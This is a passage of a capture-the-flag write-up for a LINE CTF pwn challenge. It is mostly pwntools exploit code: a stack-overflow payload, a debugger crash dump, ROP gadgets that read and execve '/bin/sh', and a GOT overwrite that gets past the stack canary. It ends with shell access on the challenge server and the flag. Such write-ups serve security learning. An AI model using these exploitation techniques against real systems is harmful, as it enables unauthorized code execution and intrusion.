payload += p64(0xe24aa0-0x7f8)                      # _Z12pagefilenameB5cxx11
payload += p64(0x80e1c9e0-0x7fff8000)               # random address to pass check
payload += cyclic_metasploit(3000-len(payload))
		
stack(payload)
Program received signal SIGSEGV, Segmentation fault.
0x00000000004bf6b8 in __ubsan::InitializeFlags() ()
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x27c089aae200bd00
$rbx   : 0x6241376241366241 ("Ab6Ab7Ab"?)
$rcx   : 0x0               
$rdx   : 0x80              
$rsp   : 0x00007fffffffd970  →  "Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae[...]"
$rbp   : 0x00007fffffffde60  →  "4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0A[...]"
$rsi   : 0x560             
$rdi   : 0x1c4855          
$rip   : 0x00000000004bf6b8  →  <__ubsan::InitializeFlags()+232> ret 
$r8    : 0x00007fffffffd6f0  →  0x0000000000000000
$r9    : 0x0               
$r10   : 0x00007ffff7b3fac0  →  0x0000000100000000  →  0x0000000000000000
$r11   : 0x00007ffff7b403c0  →  0x0002000200020002
$r12   : 0x00007fffffffdda0  →  0x0000000000000000
$r13   : 0x1               
$r14   : 0x4130634139624138 ("8Ab9Ac0A"?)
$r15   : 0x3363413263413163 ("c1Ac2Ac3"?)
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4bf6b3 <__ubsan::InitializeFlags()+227> pop    rbx
     0x4bf6b4 <__ubsan::InitializeFlags()+228> pop    r14
     0x4bf6b6 <__ubsan::InitializeFlags()+230> pop    r15
 →   0x4bf6b8 <__ubsan::InitializeFlags()+232> ret    
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd970│+0x0000: "Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae[...]"	 ← $rsp
0x00007fffffffd978│+0x0008: "6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A[...]"
0x00007fffffffd980│+0x0010: "c9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5[...]"
0x00007fffffffd988│+0x0018: "Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae[...]"
0x00007fffffffd990│+0x0020: "4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0A[...]"
0x00007fffffffd998│+0x0028: "d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/gx $rsp
0x7fffffffd970:	0x6341356341346341

Everything’s set up, all that’s left to do is a ropchain to read /bin/sh into global_buf and then execve it :)

ADDRSP110 = 0x4bf6ac

POPRAX = 0x000000000041ea66
POPRDI = 0x000000000041c9ae
POPRSI = 0x000000000041c5ec
SYSCALL = 0x00000000004aaa45
XOREDXPOPRCX = 0x00000000004c400d
XOREDXSYSCALL = 0x00000000004ab5be
	
log.info("Put gadget into global buffer")

globuf(p64(ADDRSP110))

log.info("Trigger stack overflow")

payload = p64(0x48)
payload += cyclic_metasploit(72)

# read /bin/sh
payload += p64(POPRAX)
payload += p64(0)
payload += p64(POPRDI)
payload += p64(0)
payload += p64(POPRSI)
payload += p64(e.symbols["global_buf"])
payload += p64(SYSCALL)

# execve /bin/sh
payload += p64(POPRAX)
payload += p64(59)
payload += p64(POPRDI)
payload += p64(e.symbols["global_buf"])
payload += p64(POPRSI)
payload += p64(0)	
payload += p64(XOREDXSYSCALL)
payload += "/bin/sh\x00"
	
payload += cyclic_metasploit(1144+8-len(payload))
payload += p64(0x4)                             # menu choice
payload += cyclic_metasploit(32)
payload += p64(e.symbols["global_buf"])         # strcpy rsi
payload += "A"*8
payload += p64(e.got["__stack_chk_fail"])       # strcpy rdi	
payload += p64(0x4fb5c0)
payload += p64(0xe24aa0-0x7f8)                  # _Z12pagefilenameB5cxx11
payload += p64(0x80e1c9e0-0x7fff8000)           # random address to pass check
payload += cyclic_metasploit(3000-len(payload))
		
stack(payload)

r.recvuntil("> ")
r.sendline("0")

r.recv(1, timeout=0.5)
r.sendline("/bin/sh\x00")
[*] '/home/kileak/ctf/line/damn/box'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    ASAN:     Enabled
    UBSAN:    Enabled
[+] Opening connection to 35.221.91.124 on port 10008: Done
[*] Put gadget into global buffer
[*] Trigger stack overflow
[*] Switching to interactive mode
$ cat flag
LINECTF{damn_y0u_4re_so_good}